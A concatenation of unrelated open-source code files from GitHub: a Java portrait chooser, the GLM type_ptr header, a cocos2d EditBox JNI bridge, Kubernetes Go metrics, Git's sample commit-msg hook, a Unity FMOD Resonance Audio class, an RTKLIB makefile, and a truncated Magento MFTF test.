ArrayList<DirectoryItem> getItems(String category) { ArrayList<DirectoryItem> result = new ArrayList<>(); // The portraits of the selected category are presented. // When the includeSubDirs flag is true, all categories // below the selected one are also presented. if (includeSubDirs) { for (Iterator<String> catNames = PortraitManager.getPortraits().getCategoryNames(); catNames.hasNext(); ) { String tcat = catNames.next(); if (tcat.startsWith(category)) { addCategoryItems(tcat, result); } } } else { addCategoryItems(category, result); } return result; } /** * Adds the portraits of the given category to the given items ArrayList. * Assumes that the root of the path (Crew.ROOT_PORTRAIT) is passed as ""! */ private void addCategoryItems(String category, List<DirectoryItem> items) { for (Iterator<String> portNames = PortraitManager.getPortraits().getItemNames(category); portNames.hasNext(); ) { items.add(new DirectoryItem(category, portNames.next())); } } /** * Show the portrait chooser dialog and pre-select the portrait * of the given crew and slot. The dialog will allow choosing a portrait. * Also reloads the portrait directory from disk. */ public int showDialog(Crew crew, int slot) { refreshPortraits(); setPilot(crew, slot); return showDialog(); } /** Reloads the camo directory from disk. */ private void refreshPortraits() { PortraitManager.refreshDirectory(); refreshDirectory(new PortraitChooserTree()); } /** Preselects the portrait of the given pilot. */ public void setPilot(Crew pilot, int slot) { String category = pilot.getPortraitCategory(slot); String filename = pilot.getPortraitFileName(slot); setSelection(category, filename); } }
{ "pile_set_name": "Github" }
module.exports = 'C';
{ "pile_set_name": "Github" }
/// @ref gtc_type_ptr /// @file glm/gtc/type_ptr.hpp /// /// @see core (dependence) /// @see gtc_quaternion (dependence) /// /// @defgroup gtc_type_ptr GLM_GTC_type_ptr /// @ingroup gtc /// /// Include <glm/gtc/type_ptr.hpp> to use the features of this extension. /// /// Handles the interaction between pointers and vector, matrix types. /// /// This extension defines an overloaded function, glm::value_ptr. It returns /// a pointer to the memory layout of the object. Matrix types store their values /// in column-major order. /// /// This is useful for uploading data to matrices or copying data to buffer objects. /// /// Example: /// @code /// #include <glm/glm.hpp> /// #include <glm/gtc/type_ptr.hpp> /// /// glm::vec3 aVector(3); /// glm::mat4 someMatrix(1.0); /// /// glUniform3fv(uniformLoc, 1, glm::value_ptr(aVector)); /// glUniformMatrix4fv(uniformMatrixLoc, 1, GL_FALSE, glm::value_ptr(someMatrix)); /// @endcode /// /// <glm/gtc/type_ptr.hpp> need to be included to use the features of this extension. #pragma once // Dependency: #include "../gtc/quaternion.hpp" #include "../gtc/vec1.hpp" #include "../vec2.hpp" #include "../vec3.hpp" #include "../vec4.hpp" #include "../mat2x2.hpp" #include "../mat2x3.hpp" #include "../mat2x4.hpp" #include "../mat3x2.hpp" #include "../mat3x3.hpp" #include "../mat3x4.hpp" #include "../mat4x2.hpp" #include "../mat4x3.hpp" #include "../mat4x4.hpp" #include <cstring> #if GLM_MESSAGES == GLM_ENABLE && !defined(GLM_EXT_INCLUDED) # pragma message("GLM: GLM_GTC_type_ptr extension included") #endif namespace glm { /// @addtogroup gtc_type_ptr /// @{ /// Return the constant address to the data of the input parameter. /// @see gtc_type_ptr template<typename genType> GLM_FUNC_DECL typename genType::value_type const * value_ptr(genType const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<1, T, Q> make_vec1(vec<1, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<1, T, Q> make_vec1(vec<2, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<1, T, Q> make_vec1(vec<3, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<1, T, Q> make_vec1(vec<4, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<2, T, Q> make_vec2(vec<1, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<2, T, Q> make_vec2(vec<2, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<2, T, Q> make_vec2(vec<3, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<2, T, Q> make_vec2(vec<4, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<3, T, Q> make_vec3(vec<1, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<3, T, Q> make_vec3(vec<2, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<3, T, Q> make_vec3(vec<3, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<3, T, Q> make_vec3(vec<4, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<4, T, Q> make_vec4(vec<1, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<4, T, Q> make_vec4(vec<2, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<4, T, Q> make_vec4(vec<3, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template <typename T, qualifier Q> GLM_FUNC_DECL vec<4, T, Q> make_vec4(vec<4, T, Q> const& v); /// Build a vector from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL vec<2, T, defaultp> make_vec2(T const * const ptr); /// Build a vector from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL vec<3, T, defaultp> make_vec3(T const * const ptr); /// Build a vector from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL vec<4, T, defaultp> make_vec4(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<2, 2, T, defaultp> make_mat2x2(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<2, 3, T, defaultp> make_mat2x3(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<2, 4, T, defaultp> make_mat2x4(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<3, 2, T, defaultp> make_mat3x2(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<3, 3, T, defaultp> make_mat3x3(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<3, 4, T, defaultp> make_mat3x4(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<4, 2, T, defaultp> make_mat4x2(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<4, 3, T, defaultp> make_mat4x3(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<4, 4, T, defaultp> make_mat4x4(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<2, 2, T, defaultp> make_mat2(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<3, 3, T, defaultp> make_mat3(T const * const ptr); /// Build a matrix from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL mat<4, 4, T, defaultp> make_mat4(T const * const ptr); /// Build a quaternion from a pointer. /// @see gtc_type_ptr template<typename T> GLM_FUNC_DECL qua<T, defaultp> make_quat(T const * const ptr); /// @} }//namespace glm #include "type_ptr.inl"
{ "pile_set_name": "Github" }
/**************************************************************************** Copyright (c) 2018 Xiamen Yaji Software Co., Ltd. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "EditBox.h" #include "platform/android/jni/JniHelper.h" #include "cocos/scripting/js-bindings/jswrapper/SeApi.h" #include "cocos/scripting/js-bindings/manual/jsb_global.h" #ifndef JCLS_EDITBOX #define JCLS_EDITBOX "org/cocos2dx/lib/Cocos2dxEditBox" #endif #ifndef ORG_EDITBOX_CLASS_NAME #define ORG_EDITBOX_CLASS_NAME org_cocos2dx_lib_Cocos2dxEditBox #endif #define JNI_EDITBOX(FUNC) JNI_METHOD1(ORG_EDITBOX_CLASS_NAME,FUNC) NS_CC_BEGIN void EditBox::show(const cocos2d::EditBox::ShowInfo& showInfo) { JniHelper::callStaticVoidMethod(JCLS_EDITBOX, "showNative", showInfo.defaultValue, showInfo.maxLength, showInfo.isMultiline, showInfo.confirmHold, showInfo.confirmType, showInfo.inputType); } void EditBox::hide() { JniHelper::callStaticVoidMethod(JCLS_EDITBOX, "hideNative"); } void EditBox::updateRect(int x, int y, int width, int height) { // not supported ... } NS_CC_END namespace { se::Value textInputCallback; void getTextInputCallback() { if (! textInputCallback.isUndefined()) return; auto global = se::ScriptEngine::getInstance()->getGlobalObject(); se::Value jsbVal; if (global->getProperty("jsb", &jsbVal) && jsbVal.isObject()) { jsbVal.toObject()->getProperty("onTextInput", &textInputCallback); // free globle se::Value before ScriptEngine clean up se::ScriptEngine::getInstance()->addBeforeCleanupHook([](){ textInputCallback.setUndefined(); }); } } void callJSFunc(const std::string& type, const jstring& text) { getTextInputCallback(); se::AutoHandleScope scope; se::ValueArray args; args.push_back(se::Value(type)); args.push_back(se::Value(cocos2d::JniHelper::jstring2string(text))); textInputCallback.toObject()->call(args, nullptr); } } extern "C" { JNIEXPORT void JNICALL JNI_EDITBOX(onKeyboardInputNative)(JNIEnv* env, jclass, jstring text) { callJSFunc("input", text); } JNIEXPORT void JNICALL JNI_EDITBOX(onKeyboardCompleteNative)(JNIEnv* env, jclass, jstring text) { callJSFunc("complete", text); } JNIEXPORT void JNICALL JNI_EDITBOX(onKeyboardConfirmNative)(JNIEnv* env, jclass, jstring text) { callJSFunc("confirm", text); } }
{ "pile_set_name": "Github" }
{ "solution": { "name": "react-mobx-spfx-webpart-client-side-solution", "id": "8c525624-9e7c-4ef2-a886-fa753cb294d2", "version": "1.0.0.0" }, "paths": { "zippedPackage": "solution/react-mobx-spfx-webpart.spapp" } }
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package exec import ( "sync" "time" "k8s.io/client-go/tools/metrics" ) type certificateExpirationTracker struct { mu sync.RWMutex m map[*Authenticator]time.Time metricSet func(*time.Time) } var expirationMetrics = &certificateExpirationTracker{ m: map[*Authenticator]time.Time{}, metricSet: func(e *time.Time) { metrics.ClientCertExpiry.Set(e) }, } // set stores the given expiration time and updates the updates the certificate // expiry metric to the earliest expiration time. func (c *certificateExpirationTracker) set(a *Authenticator, t time.Time) { c.mu.Lock() defer c.mu.Unlock() c.m[a] = t earliest := time.Time{} for _, t := range c.m { if t.IsZero() { continue } if earliest.IsZero() || earliest.After(t) { earliest = t } } if earliest.IsZero() { c.metricSet(nil) } else { c.metricSet(&earliest) } }
{ "pile_set_name": "Github" }
<?php namespace spec\SevenShores\Hubspot\Resources; use PhpSpec\ObjectBehavior; use SevenShores\Hubspot\Http\Client; class EmailSubscriptionSpec extends ObjectBehavior { public function let(Client $client) { $this->beConstructedWith('demo', $client); } public function it_is_initializable() { $this->shouldHaveType('SevenShores\Hubspot\Resources\EmailSubscription'); } }
{ "pile_set_name": "Github" }
#!/bin/sh # # An example hook script to check the commit log message. # Called by "git commit" with one argument, the name of the file # that has the commit message. The hook should exit with non-zero # status after issuing an appropriate message if it wants to stop the # commit. The hook is allowed to edit the commit message file. # # To enable this hook, rename this file to "commit-msg". # Uncomment the below to add a Signed-off-by line to the message. # Doing this in a hook is a bad idea in general, but the prepare-commit-msg # hook is more suited to it. # # SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') # grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" # This example catches duplicate Signed-off-by lines. test "" = "$(grep '^Signed-off-by: ' "$1" | sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { echo >&2 Duplicate Signed-off-by lines. exit 1 }
{ "pile_set_name": "Github" }
// Copyright 2017 Google Inc. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. using UnityEngine; using System; using System.Collections; using System.Collections.Generic; using System.Runtime.InteropServices; using FMODUnity; /// This is the main Resonance Audio class that communicates with the FMOD Unity integration. Native /// functions of the system can only be called through this class to preserve the internal system /// functionality. public static class FmodResonanceAudio { /// Updates the room effects of the environment with given |room| properties. /// @note This should only be called from the main Unity thread. public static void UpdateAudioRoom(FmodResonanceAudioRoom room, bool roomEnabled) { // Update the enabled rooms list. if (roomEnabled) { if (!enabledRooms.Contains(room)) { enabledRooms.Add(room); } } else { enabledRooms.Remove(room); } // Update the current room effects to be applied. if (enabledRooms.Count > 0) { FmodResonanceAudioRoom currentRoom = enabledRooms[enabledRooms.Count - 1]; RoomProperties roomProperties = GetRoomProperties(currentRoom); // Pass the room properties into a pointer. IntPtr roomPropertiesPtr = Marshal.AllocHGlobal(roomPropertiesSize); Marshal.StructureToPtr(roomProperties, roomPropertiesPtr, false); ListenerPlugin.setParameterData (roomPropertiesIndex, GetBytes(roomPropertiesPtr, roomPropertiesSize)); Marshal.FreeHGlobal(roomPropertiesPtr); } else { // Set the room properties to a null room, which will effectively disable the room effects. ListenerPlugin.setParameterData (roomPropertiesIndex, GetBytes(IntPtr.Zero, 0)); } } /// Returns whether the listener is currently inside the given |room| boundaries. public static bool IsListenerInsideRoom(FmodResonanceAudioRoom room) { // Compute the room position relative to the listener. FMOD.VECTOR unused; RuntimeManager.LowlevelSystem.get3DListenerAttributes(0, out listenerPositionFmod, out unused, out unused, out unused); Vector3 listenerPosition = new Vector3(listenerPositionFmod.x, listenerPositionFmod.y, listenerPositionFmod.z); Vector3 relativePosition = listenerPosition - room.transform.position; Quaternion rotationInverse = Quaternion.Inverse(room.transform.rotation); // Set the size of the room as the boundary and return whether the listener is inside. bounds.size = Vector3.Scale(room.transform.lossyScale, room.size); return bounds.Contains(rotationInverse * relativePosition); } /// Maximum allowed gain value in decibels. public const float maxGainDb = 24.0f; /// Minimum allowed gain value in decibels. public const float minGainDb = -24.0f; /// Maximum allowed reverb brightness modifier value. public const float maxReverbBrightness = 1.0f; /// Minimum allowed reverb brightness modifier value. public const float minReverbBrightness = -1.0f; /// Maximum allowed reverb time modifier value. public const float maxReverbTime = 3.0f; /// Maximum allowed reflectivity multiplier of a room surface material. public const float maxReflectivity = 2.0f; [StructLayout(LayoutKind.Sequential)] private struct RoomProperties { // Center position of the room in world space. public float positionX; public float positionY; public float positionZ; // Rotation (quaternion) of the room in world space. public float rotationX; public float rotationY; public float rotationZ; public float rotationW; // Size of the shoebox room in world space. public float dimensionsX; public float dimensionsY; public float dimensionsZ; // Material name of each surface of the shoebox room. public FmodResonanceAudioRoom.SurfaceMaterial materialLeft; public FmodResonanceAudioRoom.SurfaceMaterial materialRight; public FmodResonanceAudioRoom.SurfaceMaterial materialBottom; public FmodResonanceAudioRoom.SurfaceMaterial materialTop; public FmodResonanceAudioRoom.SurfaceMaterial materialFront; public FmodResonanceAudioRoom.SurfaceMaterial materialBack; // User defined uniform scaling factor for reflectivity. This parameter has no effect when set // to 1.0f. public float reflectionScalar; // User defined reverb tail gain multiplier. This parameter has no effect when set to 0.0f. public float reverbGain; // Adjusts the reverberation time across all frequency bands. RT60 values are multiplied by this // factor. Has no effect when set to 1.0f. public float reverbTime; // Controls the slope of a line from the lowest to the highest RT60 values (increases high // frequency RT60s when positive, decreases when negative). Has no effect when set to 0.0f. public float reverbBrightness; }; // Returns the FMOD Resonance Audio Listener Plugin. private static FMOD.DSP ListenerPlugin { get { if (!listenerPlugin.hasHandle()) { listenerPlugin = Initialize(); } return listenerPlugin; } } // Converts given |db| value to its amplitude equivalent where 'dB = 20 * log10(amplitude)'. private static float ConvertAmplitudeFromDb (float db) { return Mathf.Pow(10.0f, 0.05f * db); } // Converts given |position| and |rotation| from Unity space to audio space. private static void ConvertAudioTransformFromUnity (ref Vector3 position, ref Quaternion rotation) { // Compose the transformation matrix. Matrix4x4 transformMatrix = Matrix4x4.TRS(position, rotation, Vector3.one); // Convert the transformation matrix from left-handed to right-handed. transformMatrix = flipZ * transformMatrix * flipZ; // Update |position| and |rotation| respectively. position = transformMatrix.GetColumn(3); rotation = Quaternion.LookRotation(transformMatrix.GetColumn(2), transformMatrix.GetColumn(1)); } // Returns a byte array of |length| created from |ptr|. private static byte[] GetBytes(IntPtr ptr, int length) { if (ptr != IntPtr.Zero) { byte[] byteArray = new byte[length]; Marshal.Copy(ptr, byteArray, 0, length); return byteArray; } // Return an empty array if the pointer is null. return new byte[1]; } // Returns room properties of the given |room|. private static RoomProperties GetRoomProperties(FmodResonanceAudioRoom room) { RoomProperties roomProperties; Vector3 position = room.transform.position; Quaternion rotation = room.transform.rotation; Vector3 scale = Vector3.Scale(room.transform.lossyScale, room.size); ConvertAudioTransformFromUnity(ref position, ref rotation); roomProperties.positionX = position.x; roomProperties.positionY = position.y; roomProperties.positionZ = position.z; roomProperties.rotationX = rotation.x; roomProperties.rotationY = rotation.y; roomProperties.rotationZ = rotation.z; roomProperties.rotationW = rotation.w; roomProperties.dimensionsX = scale.x; roomProperties.dimensionsY = scale.y; roomProperties.dimensionsZ = scale.z; roomProperties.materialLeft = room.leftWall; roomProperties.materialRight = room.rightWall; roomProperties.materialBottom = room.floor; roomProperties.materialTop = room.ceiling; roomProperties.materialFront = room.frontWall; roomProperties.materialBack = room.backWall; roomProperties.reverbGain = ConvertAmplitudeFromDb(room.reverbGainDb); roomProperties.reverbTime = room.reverbTime; roomProperties.reverbBrightness = room.reverbBrightness; roomProperties.reflectionScalar = room.reflectivity; return roomProperties; } // Initializes and returns the FMOD Resonance Audio Listener Plugin. private static FMOD.DSP Initialize() { // Search through all busses on in banks. int numBanks = 0; FMOD.DSP dsp = new FMOD.DSP(); FMOD.Studio.Bank[] banks = null; RuntimeManager.StudioSystem.getBankCount(out numBanks); RuntimeManager.StudioSystem.getBankList(out banks); for (int currentBank = 0; currentBank < numBanks; ++currentBank) { int numBusses = 0; FMOD.Studio.Bus[] busses = null; banks[currentBank].getBusCount(out numBusses); banks[currentBank].getBusList(out busses); RuntimeManager.StudioSystem.flushCommands(); for (int currentBus = 0; currentBus < numBusses; ++currentBus) { // Make sure the channel group of the current bus is assigned properly. string busPath = null; busses[currentBus].getPath(out busPath); RuntimeManager.StudioSystem.getBus(busPath, out busses[currentBus]); RuntimeManager.StudioSystem.flushCommands(); FMOD.ChannelGroup channelGroup; busses[currentBus].getChannelGroup(out channelGroup); RuntimeManager.StudioSystem.flushCommands(); if (channelGroup.hasHandle()) { int numDsps = 0; channelGroup.getNumDSPs(out numDsps); for (int currentDsp = 0; currentDsp < numDsps; ++currentDsp) { channelGroup.getDSP(currentDsp, out dsp); string dspNameSb; int unusedInt = 0; uint unusedUint = 0; dsp.getInfo(out dspNameSb, out unusedUint, out unusedInt, out unusedInt, out unusedInt); if (dspNameSb.ToString().Equals(listenerPluginName) && dsp.hasHandle()) { return dsp; } } } } } Debug.LogError(listenerPluginName + " not found in the FMOD project."); return dsp; } // Right-handed to left-handed matrix converter (and vice versa). private static readonly Matrix4x4 flipZ = Matrix4x4.Scale(new Vector3(1, 1, -1)); // Get a handle to the Resonance Audio Listener FMOD Plugin. private static readonly string listenerPluginName = "Resonance Audio Listener"; // Size of |RoomProperties| struct in bytes. private static readonly int roomPropertiesSize = Marshal.SizeOf(typeof(RoomProperties)); // Plugin data parameter index for the room properties. private static readonly int roomPropertiesIndex = 1; // Boundaries instance to be used in room detection logic. private static Bounds bounds = new Bounds(Vector3.zero, Vector3.zero); // Container to store the currently active rooms in the scene. private static List<FmodResonanceAudioRoom> enabledRooms = new List<FmodResonanceAudioRoom>(); // Current listener position. private static FMOD.VECTOR listenerPositionFmod = new FMOD.VECTOR(); // FMOD Resonance Audio Listener Plugin. private static FMOD.DSP listenerPlugin; }
{ "pile_set_name": "Github" }
# # makefile for convbin # BINDIR = /usr/local/bin SRC = ../../../src INCLUDE= -I$(SRC) OPTIONS= -DTRACE -DENAGLO -DENAQZS -DENAGAL -DENACMP -DNFREQ=6 -DNEXOBS=3 CFLAGS = -O3 -ansi -pedantic -Wall -Wno-unused-but-set-variable $(INCLUDE) $(OPTIONS) -g LDLIBS = -lm -lrt all : convbin convbin : convbin.o rtkcmn.o rinex.o sbas.o preceph.o rcvraw.o convrnx.o convbin : rtcm.o rtcm2.o rtcm3.o rtcm3e.o pntpos.o ephemeris.o ionex.o convbin : novatel.o ss2.o ublox.o crescent.o skytraq.o gw10.o javad.o nvs.o convbin : binex.o rt17.o qzslex.o convbin.o : ../convbin.c $(CC) -c $(CFLAGS) ../convbin.c rtkcmn.o : $(SRC)/rtkcmn.c $(CC) -c $(CFLAGS) $(SRC)/rtkcmn.c rinex.o : $(SRC)/rinex.c $(CC) -c $(CFLAGS) $(SRC)/rinex.c sbas.o : $(SRC)/sbas.c $(CC) -c $(CFLAGS) $(SRC)/sbas.c preceph.o : $(SRC)/preceph.c $(CC) -c $(CFLAGS) $(SRC)/preceph.c rcvraw.o : $(SRC)/rcvraw.c $(CC) -c $(CFLAGS) $(SRC)/rcvraw.c convrnx.o : $(SRC)/convrnx.c $(CC) -c $(CFLAGS) $(SRC)/convrnx.c rtcm.o : $(SRC)/rtcm.c $(CC) -c $(CFLAGS) $(SRC)/rtcm.c rtcm2.o : $(SRC)/rtcm2.c $(CC) -c $(CFLAGS) $(SRC)/rtcm2.c rtcm3.o : $(SRC)/rtcm3.c $(CC) -c $(CFLAGS) $(SRC)/rtcm3.c rtcm3e.o : $(SRC)/rtcm3e.c $(CC) -c $(CFLAGS) $(SRC)/rtcm3e.c pntpos.o : $(SRC)/pntpos.c $(CC) -c $(CFLAGS) $(SRC)/pntpos.c ionex.o : $(SRC)/ionex.c $(CC) -c $(CFLAGS) $(SRC)/ionex.c ephemeris.o: $(SRC)/ephemeris.c $(CC) -c $(CFLAGS) $(SRC)/ephemeris.c novatel.o : $(SRC)/rcv/novatel.c $(CC) -c $(CFLAGS) $(SRC)/rcv/novatel.c ss2.o : $(SRC)/rcv/ss2.c $(CC) -c $(CFLAGS) $(SRC)/rcv/ss2.c ublox.o : $(SRC)/rcv/ublox.c $(CC) -c $(CFLAGS) $(SRC)/rcv/ublox.c crescent.o : $(SRC)/rcv/crescent.c $(CC) -c $(CFLAGS) $(SRC)/rcv/crescent.c skytraq.o : $(SRC)/rcv/skytraq.c $(CC) -c $(CFLAGS) $(SRC)/rcv/skytraq.c gw10.o : $(SRC)/rcv/gw10.c $(CC) -c $(CFLAGS) $(SRC)/rcv/gw10.c javad.o : $(SRC)/rcv/javad.c $(CC) -c $(CFLAGS) $(SRC)/rcv/javad.c nvs.o : $(SRC)/rcv/nvs.c $(CC) -c $(CFLAGS) $(SRC)/rcv/nvs.c binex.o : $(SRC)/rcv/binex.c $(CC) -c $(CFLAGS) $(SRC)/rcv/binex.c rt17.o : $(SRC)/rcv/rt17.c $(CC) -c $(CFLAGS) $(SRC)/rcv/rt17.c qzslex.o : $(SRC)/qzslex.c $(CC) -c $(CFLAGS) $(SRC)/qzslex.c convbin.o : $(SRC)/rtklib.h rtkcmn.o : $(SRC)/rtklib.h rinex.o : $(SRC)/rtklib.h sbas.o : $(SRC)/rtklib.h preceph.o : $(SRC)/rtklib.h rcvraw.o : $(SRC)/rtklib.h convrnx.o : $(SRC)/rtklib.h rtcm.o : $(SRC)/rtklib.h rtcm2.o : $(SRC)/rtklib.h rtcm3.o : $(SRC)/rtklib.h rtcm3e.o : $(SRC)/rtklib.h pntpos.o : $(SRC)/rtklib.h ephemeris.o: $(SRC)/rtklib.h ionex.o : $(SRC)/rtklib.h novatel.o : $(SRC)/rtklib.h ss2.o : $(SRC)/rtklib.h ublox.o : $(SRC)/rtklib.h crescent.o : $(SRC)/rtklib.h skytraq.o : $(SRC)/rtklib.h gw10.o : $(SRC)/rtklib.h javad.o : $(SRC)/rtklib.h nvs.o : $(SRC)/rtklib.h binex.o : $(SRC)/rtklib.h rt17.o : $(SRC)/rtklib.h qzslex.o : $(SRC)/rtklib.h DATDIR = ../../../test/data/rcvraw install: cp convbin $(BINDIR) clean: rm -f convbin convbin.exe *.o *.obs *.nav *.gnav *.hnav *.qnav *.sbs *.stackdump test : test1 test2 test3 test4 test5 test7 test8 test9 test10 test11 test12 test13 test : test14 test15 test1: ./convbin -r nov $(DATDIR)/oemv_200911218.gps -ti 10 -d . -os test2: ./convbin -r hemis $(DATDIR)/cres_20080526.bin -ti 10 -d . -f 1 -od -os test3: ./convbin $(DATDIR)/ubx_20080526.ubx -o ubx_test.obs -d . -f 1 -ts 2008/5/26 6:00 -te 2008/5/26 6:10 test4: ./convbin $(DATDIR)/ubx_20080526.ubx -n ubx_test.nav -d . test5: ./convbin $(DATDIR)/ubx_20080526.ubx -h ubx_test.hnav -s ubx_test.sbs -d . -x 129 test7: ./convbin $(DATDIR)/testglo.rtcm2 -tr 2009/12/18 23:20 -d . test8: ./convbin $(DATDIR)/testglo.rtcm3 -os -tr 2009/12/18 23:20 -d . test9: ./convbin -v 3 -f 6 -r nov $(DATDIR)/oemv_200911218.gps -od -os -o rnx3_test.obs -n rnx3_test.nav -d . test10: ./convbin $(DATDIR)/testglo.rtcm3 -os -tr 2009/12/18 23:20 -d . test11: ./convbin $(DATDIR)/javad_20110115.jps -d out -c JAV1 test12: ./convbin $(DATDIR)/javad_20110115.jps -d out -v 3.00 -f 3 -od -os test13: ./convbin $(DATDIR)/javad_20110115.jps -d out -o test13.obs -v 3 -hc test1 -hc test2 -hm MARKER -hn MARKERNO -ht MARKKERTYPE -ho OBSERVER/AGENCY -hr 1234/RECEIVER/V.0.1.2 -ha ANTNO/ANTENNA -hp 1234.567/8901.234/5678.901 -hd 0.123/0.234/0.567 test14: ./convbin $(DATDIR)/javad_20110115.jps -d out -o test14.obs -v 3 -y S -y J -x 2 -x R19 -x R21 test15: ./convbin $(DATDIR)/javad_20110115.jps -d out -o test15.obs -v 3 -ro "-GL1P -GL2C" test16: ./convbin $(DATDIR)/javad_20110115.jps -d out -o test15.obs -v 3 -ro "-GL1P -GL2C" test17: ./convbin $(DATDIR)/GMSD7_20121014.rtcm3 -tr 2012/10/14 0:00:00 test18: ./convbin $(DATDIR)/GMSD7_20121014.rtcm3 -scan -v 3.01 -f 6 -od -os -tr 2012/10/14 0:00:00 test21: stty raw < /dev/ttyACM0 ./convbin -r ubx -o ubx.obs -n ubx.nav -s ubx.sbs -h ubx.hnav /dev/ttyACM0
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <tests xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:mftf:Test/etc/testSchema.xsd"> <test name="QuickSearchTwoProductsWithDifferentWeightTest" extends="QuickSearchTwoProductsWithSameWeightTest"> <annotations> <stories value="Search Product on Storefront"/> <title value="Quick Search should sort products with the different weight appropriately"/> <description value="Use Quick Search to find a two products with the different weight"/> <severity value="MAJOR"/> <testCaseId value="MC-14797"/> <group value="CatalogSearch"/> <group value="SearchEngineElasticsearch"/> <group value="mtf_migrated"/> </annotations> <before> <actionGroup ref="AdminCreateAttributeWithSearchWeightActionGroup" stepKey="createProduct1Attribute"> <argument name="attributeType" value="Text Field"/> <argument name="attributeName" value="$product1.name$"/> <argument name="attributeSetName" value="$product1.name$"/> <argument name="weight" value="5"/> <argument name="defaultValue" value="{{_defaultProduct.name}}"/> </actionGroup> </before> <actionGroup ref="StorefrontQuickSearchCheckProductNameInGridActionGroup" stepKey="assertProduct1Position"> <argument name="productName" 